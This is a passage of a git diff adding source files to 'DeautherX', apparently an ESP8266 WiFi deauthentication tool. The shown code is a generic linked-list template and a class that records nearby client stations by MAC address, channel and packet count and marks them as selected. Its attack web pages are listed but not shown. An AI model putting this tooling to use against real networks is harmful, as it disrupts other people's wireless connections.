SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
||||
515
DeautherX/SimpleList.h
Normal file
515
DeautherX/SimpleList.h
Normal file
@@ -0,0 +1,515 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <type_traits>
|
||||
#include <cstddef>
|
||||
#include <functional>
|
||||
|
||||
template<class T>
|
||||
struct SimpleListNode {
|
||||
T data;
|
||||
SimpleListNode<T>* next = NULL;
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
class SimpleList {
|
||||
public:
|
||||
SimpleList();
|
||||
SimpleList(int(*compare)(T & a, T & b));
|
||||
virtual ~SimpleList();
|
||||
|
||||
virtual void setCompare(int (* compare)(T& a, T& b));
|
||||
|
||||
virtual int size();
|
||||
virtual bool isSorted();
|
||||
virtual bool isEmpty();
|
||||
|
||||
virtual void add(int index, T obj);
|
||||
virtual void add(T obj);
|
||||
virtual void insert(T obj);
|
||||
|
||||
virtual void replace(int index, T obj);
|
||||
virtual void swap(int x, int y);
|
||||
|
||||
virtual void remove(int index);
|
||||
virtual void removeFirst();
|
||||
virtual void removeLast();
|
||||
|
||||
virtual bool has(T obj);
|
||||
virtual int count(T obj);
|
||||
|
||||
virtual T shift();
|
||||
virtual T pop();
|
||||
virtual T get(int index);
|
||||
virtual T getFirst();
|
||||
virtual T getLast();
|
||||
|
||||
virtual void moveToEnd();
|
||||
|
||||
virtual int search(T obj);
|
||||
virtual int searchNext(T obj);
|
||||
virtual int binSearch(T obj);
|
||||
|
||||
virtual void sort();
|
||||
virtual void clear();
|
||||
|
||||
protected:
|
||||
int (* compare)(T& a, T& b) = NULL;
|
||||
|
||||
int listSize = 0;
|
||||
SimpleListNode<T>* listBegin = NULL;
|
||||
SimpleListNode<T>* listEnd = NULL;
|
||||
|
||||
// Helps get() method by saving last position
|
||||
SimpleListNode<T>* lastNodeGot = NULL;
|
||||
int lastIndexGot = -1;
|
||||
bool isCached = false;
|
||||
|
||||
bool sorted = true;
|
||||
|
||||
virtual SimpleListNode<T>* getNode(int index);
|
||||
virtual int binSearch(T obj, int lowerEnd, int upperEnd);
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList() {}
|
||||
|
||||
template<typename T>
|
||||
SimpleList<T>::SimpleList(int(*compare)(T & a, T & b)) {
|
||||
setCompare(compare);
|
||||
}
|
||||
|
||||
// Clear Nodes and free Memory
|
||||
template<typename T>
|
||||
SimpleList<T>::~SimpleList() {
|
||||
clear();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::setCompare(int (* compare)(T& a, T& b)) {
|
||||
this->compare = compare;
|
||||
sort();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
SimpleListNode<T>* SimpleList<T>::getNode(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return NULL;
|
||||
|
||||
SimpleListNode<T>* hNode = listBegin;
|
||||
int c = 0;
|
||||
|
||||
if (isCached && (index >= lastIndexGot)) {
|
||||
c = lastIndexGot;
|
||||
hNode = lastNodeGot;
|
||||
}
|
||||
|
||||
while (hNode && c < index) {
|
||||
hNode = hNode->next;
|
||||
c++;
|
||||
}
|
||||
|
||||
if (hNode) {
|
||||
isCached = true;
|
||||
lastIndexGot = c;
|
||||
lastNodeGot = hNode;
|
||||
}
|
||||
|
||||
return hNode;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::size() {
|
||||
return listSize;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isSorted() {
|
||||
return sorted;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::isEmpty() {
|
||||
return listSize == 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(T obj) {
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (!listBegin) listBegin = newNode;
|
||||
|
||||
if (listEnd) {
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
listEnd = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::add(int index, T obj) {
|
||||
if ((index < 0) || (index >= listSize)) {
|
||||
return;
|
||||
}
|
||||
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
newNode->next = nodePrev->next;
|
||||
nodePrev->next = newNode;
|
||||
}
|
||||
|
||||
listSize++;
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::insert(T obj) {
|
||||
if (!compare) {
|
||||
add(obj);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!sorted) sort();
|
||||
|
||||
// create new node
|
||||
SimpleListNode<T>* newNode = new SimpleListNode<T>();
|
||||
|
||||
newNode->data = obj;
|
||||
|
||||
if (listSize == 0) {
|
||||
// add at start (first node)
|
||||
listBegin = newNode;
|
||||
|
||||
listEnd = newNode;
|
||||
} else {
|
||||
if (compare(obj, listEnd->data) >= 0) {
|
||||
// add at end
|
||||
listEnd->next = newNode;
|
||||
listEnd = newNode;
|
||||
} else if (compare(obj, listBegin->data) < 0) {
|
||||
// add at start
|
||||
newNode->next = listBegin;
|
||||
listBegin = newNode;
|
||||
} else {
|
||||
// insertion sort
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
SimpleListNode<T>* p = NULL;
|
||||
bool found = false;
|
||||
|
||||
// here a sequential search, because otherwise the previous node couldn't be accessed
|
||||
while (h && !found) {
|
||||
if (compare(obj, h->data) < 0) {
|
||||
found = true;
|
||||
} else {
|
||||
p = h;
|
||||
h = h->next;
|
||||
}
|
||||
}
|
||||
newNode->next = h;
|
||||
|
||||
if (p) p->next = newNode;
|
||||
}
|
||||
}
|
||||
|
||||
listSize++;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::replace(int index, T obj) {
|
||||
if ((index >= 0) && (index < listSize)) {
|
||||
getNode(index)->data = obj;
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::swap(int x, int y) {
|
||||
// only continue when the index numbers are unequal and at least 0
|
||||
if ((x != y) && (x >= 0) && (y >= 0)) {
|
||||
if (x > y) { // the first index should be smaller than the second. If not, swap them!
|
||||
int h = x;
|
||||
x = y;
|
||||
y = h;
|
||||
}
|
||||
|
||||
// When data is small, copy it
|
||||
if (sizeof(T) < 24) {
|
||||
SimpleListNode<T>* nodeA = getNode(x);
|
||||
SimpleListNode<T>* nodeB = getNode(y);
|
||||
T h = nodeA->data;
|
||||
nodeA->data = nodeB->data;
|
||||
nodeB->data = h;
|
||||
}
|
||||
|
||||
// otherwise change the pointers
|
||||
else {
|
||||
// Example: a -> b -> c -> ... -> g -> h -> i
|
||||
// we want to swap b with h
|
||||
SimpleListNode<T>* nodeA = getNode(x - 1); // x.prev
|
||||
SimpleListNode<T>* nodeB = getNode(x); // x
|
||||
SimpleListNode<T>* nodeC = getNode(x + 1); // x.next
|
||||
SimpleListNode<T>* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev
|
||||
SimpleListNode<T>* nodeH = getNode(y); // y
|
||||
SimpleListNode<T>* nodeI = getNode(y + 1); // y.next
|
||||
|
||||
// a -> h -> i b -> c -> ... -> g -> h -> i
|
||||
if (nodeA) nodeA->next = nodeH;
|
||||
else listBegin = nodeH;
|
||||
|
||||
// a -> h -> c -> ... -> g -> h -> i b -> i
|
||||
if (nodeH != nodeC) // when nodes between b and h exist
|
||||
nodeH->next = nodeC;
|
||||
else nodeH->next = nodeB;
|
||||
|
||||
// a -> h -> i b -> i
|
||||
nodeB->next = nodeI;
|
||||
|
||||
if (!nodeI) listEnd = nodeB;
|
||||
|
||||
// a -> h -> c -> ... -> g -> b -> i
|
||||
if (nodeG != nodeB) // when more than 1 nodes between b and h exist
|
||||
nodeG->next = nodeB;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::remove(int index) {
|
||||
if ((index < 0) || (index >= listSize)) return;
|
||||
|
||||
SimpleListNode<T>* nodePrev = getNode(index - 1);
|
||||
SimpleListNode<T>* nodeToDelete = getNode(index);
|
||||
|
||||
if (index == 0) {
|
||||
listBegin = nodeToDelete->next;
|
||||
} else {
|
||||
nodePrev->next = nodeToDelete->next;
|
||||
|
||||
if (!nodePrev->next) listEnd = nodePrev;
|
||||
}
|
||||
|
||||
delete nodeToDelete;
|
||||
|
||||
isCached = false;
|
||||
|
||||
listSize--;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeFirst() {
|
||||
remove(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::removeLast() {
|
||||
remove(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
bool SimpleList<T>::has(T obj) {
|
||||
return binSearch(obj) >= 0;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::count(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < listSize; i++) {
|
||||
if (compare(obj, getNode(i)->data) == 0) c++;
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::get(int index) {
|
||||
SimpleListNode<T>* h = getNode(index);
|
||||
|
||||
if (h) return h->data;
|
||||
|
||||
return T();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getFirst() {
|
||||
return get(0);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::getLast() {
|
||||
return get(listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::moveToEnd() {
|
||||
SimpleListNode<T>* h = listBegin;
|
||||
|
||||
if (!h) return;
|
||||
|
||||
listBegin = listBegin->next;
|
||||
listEnd->next = h;
|
||||
|
||||
h->next = NULL;
|
||||
listEnd = h;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = false;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::search(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = 0;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(i);
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::searchNext(T obj) {
|
||||
if (compare == NULL) return -1;
|
||||
|
||||
int i = lastIndexGot;
|
||||
|
||||
SimpleListNode<T>* hNode = lastNodeGot;
|
||||
bool found = compare(obj, hNode->data) == 0;
|
||||
|
||||
while (!found && i < listSize) {
|
||||
i++;
|
||||
hNode = getNode(i);
|
||||
found = compare(obj, hNode->data) == 0;
|
||||
}
|
||||
|
||||
return found ? i : -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj, int lowerEnd, int upperEnd) {
|
||||
if (!compare || !sorted) return search(obj);
|
||||
|
||||
if (!listBegin) return -1;
|
||||
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
SimpleListNode<T>* hNode = getNode(0);
|
||||
int hIndex = 0;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
hNode = lastNodeGot;
|
||||
hIndex = lastIndexGot;
|
||||
res = compare(obj, getNode(mid)->data);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
// when going left, set cached node back to previous cached node
|
||||
lastNodeGot = hNode;
|
||||
lastIndexGot = hIndex;
|
||||
isCached = true;
|
||||
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
int SimpleList<T>::binSearch(T obj) {
|
||||
return binSearch(obj, 0, listSize - 1);
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::pop() {
|
||||
T data = getLast();
|
||||
|
||||
removeLast();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
T SimpleList<T>::shift() {
|
||||
T data = getFirst();
|
||||
|
||||
removeFirst();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::clear() {
|
||||
while (listSize > 0) removeFirst();
|
||||
|
||||
listSize = 0;
|
||||
listBegin = NULL;
|
||||
listEnd = NULL;
|
||||
|
||||
lastNodeGot = NULL;
|
||||
lastIndexGot = -1;
|
||||
isCached = false;
|
||||
|
||||
sorted = true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
void SimpleList<T>::sort() {
|
||||
if (compare == NULL) return;
|
||||
|
||||
// selection sort (less swaps than insertion sort)
|
||||
|
||||
int indexH; // index of node i
|
||||
int indexMin; // index of next minimum node
|
||||
|
||||
SimpleListNode<T>* nodeMin; // next minimum node
|
||||
SimpleListNode<T>* nodeH; // helper node at index j
|
||||
|
||||
for (int i = 0; i < listSize - 1; i++) {
|
||||
nodeMin = getNode(i);
|
||||
indexH = i;
|
||||
indexMin = i;
|
||||
|
||||
for (int j = i + 1; j < listSize; j++) {
|
||||
nodeH = getNode(j);
|
||||
|
||||
if (compare(nodeMin->data, nodeH->data) > 0) {
|
||||
nodeMin = nodeH;
|
||||
indexMin = j;
|
||||
}
|
||||
}
|
||||
swap(indexH, indexMin);
|
||||
}
|
||||
|
||||
this->sorted = true;
|
||||
}
|
||||
373
DeautherX/Stations.cpp
Normal file
373
DeautherX/Stations.cpp
Normal file
@@ -0,0 +1,373 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "Stations.h"
|
||||
|
||||
Stations::Stations() {
|
||||
list = new SimpleList<Station>();
|
||||
}
|
||||
|
||||
void Stations::add(uint8_t* mac, int accesspointNum) {
|
||||
int stationNum = findStation(mac);
|
||||
|
||||
if (stationNum < 0) {
|
||||
internal_add(mac, accesspointNum);
|
||||
// print(list->size() - 1, list->size() == 1, false);
|
||||
} else {
|
||||
*getPkts(stationNum) += 1;
|
||||
*getTime(stationNum) = currentTime;
|
||||
}
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::findStation(uint8_t* mac) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (memcmp(getMac(i), mac, 6) == 0) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
void Stations::sort() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (*(a.pkts) > *(b.pkts)) return -1;
|
||||
|
||||
if (*(a.pkts) == *(b.pkts)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::sortAfterChannel() {
|
||||
list->setCompare([](Station& a, Station& b) -> int {
|
||||
if (a.ch < b.ch) return -1;
|
||||
|
||||
if (a.ch == b.ch) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Stations::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(ST_CLEARED_LIST);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::removeOldest() {
|
||||
int oldest = 0;
|
||||
int c = count();
|
||||
|
||||
for (int i = 1; i < c; i++) {
|
||||
if (*getTime(i) > *getTime(oldest)) oldest = i;
|
||||
}
|
||||
internal_remove(oldest);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::printAll() {
|
||||
prntln(ST_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(ST_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Stations::printSelected() {
|
||||
prntln(ST_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(ST_NO_DEVICES_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Stations::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(ST_TABLE_HEADER);
|
||||
prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE), (String) * getPkts(num), 9));
|
||||
prnt(leftRight(String(SPACE) + getAPStr(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getTimeStr(num), String(), 10));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(ST_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
String Stations::getAPStr(int num) {
|
||||
if (getAP(num) < 0) return String();
|
||||
|
||||
return accesspoints.getSSID(getAP(num));
|
||||
}
|
||||
|
||||
uint8_t* Stations::getAPMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getAPMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getAPMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
int Stations::getAP(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return accesspoints.find(list->get(num).ap);
|
||||
}
|
||||
|
||||
String Stations::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
bool Stations::hasName(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return names.findID(getMac(num)) >= 0;
|
||||
}
|
||||
|
||||
uint8_t* Stations::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
String Stations::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Stations::getMacVendorStr(int num) {
|
||||
String value;
|
||||
|
||||
if (check(num)) {
|
||||
value = getVendorStr(num) + ":";
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
for (int i = 3; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += "0";
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += ":";
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Stations::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Stations::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint32_t* Stations::getPkts(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).pkts;
|
||||
}
|
||||
|
||||
uint32_t* Stations::getTime(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).time;
|
||||
}
|
||||
|
||||
String Stations::getTimeStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint32_t difference = currentTime - *getTime(num);
|
||||
|
||||
if (difference < 1000) return str(ST_SMALLER_ONESEC);
|
||||
else if (difference < 60000) return str(ST_SMALLER_ONEMIN);
|
||||
else {
|
||||
uint32_t minutes = difference / 60000;
|
||||
|
||||
if (minutes > 60) return str(ST_BIGER_ONEHOUR);
|
||||
else return (String)minutes + str(STR_MIN);
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Stations::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
void Stations::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(ST_SELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(ST_DESELECTED_STATION);
|
||||
prntln(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(ST_REMOVED_STATION);
|
||||
prntln(num);
|
||||
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Stations::selectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_select(i);
|
||||
prntln(ST_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Stations::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Stations::check(int num) {
|
||||
if (internal_check(num)) {
|
||||
return true;
|
||||
} else {
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_remove(int num) {
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
|
||||
list->add(newStation);
|
||||
}
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
97
DeautherX/Stations.h
Normal file
97
DeautherX/Stations.h
Normal file
@@ -0,0 +1,97 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
|
||||
#define STATION_LIST_SIZE 60
|
||||
extern Accesspoints accesspoints;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void add(uint8_t* mac, int accesspointNum);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void removeOldest();
|
||||
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getAPMac(int num);
|
||||
String getAPMacStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
int getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t * mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
SimpleList<Station>* list;
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
BIN
DeautherX/data/web/LICENSE.gz
Normal file
BIN
DeautherX/data/web/LICENSE.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/attack.html.gz
Normal file
BIN
DeautherX/data/web/attack.html.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/index.html.gz
Normal file
BIN
DeautherX/data/web/index.html.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/info.html.gz
Normal file
BIN
DeautherX/data/web/info.html.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/js/attack.js.gz
Normal file
BIN
DeautherX/data/web/js/attack.js.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/js/scan.js.gz
Normal file
BIN
DeautherX/data/web/js/scan.js.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/js/settings.js.gz
Normal file
BIN
DeautherX/data/web/js/settings.js.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/js/site.js.gz
Normal file
BIN
DeautherX/data/web/js/site.js.gz
Normal file
Binary file not shown.
BIN
DeautherX/data/web/js/ssids.js.gz
Normal file
BIN
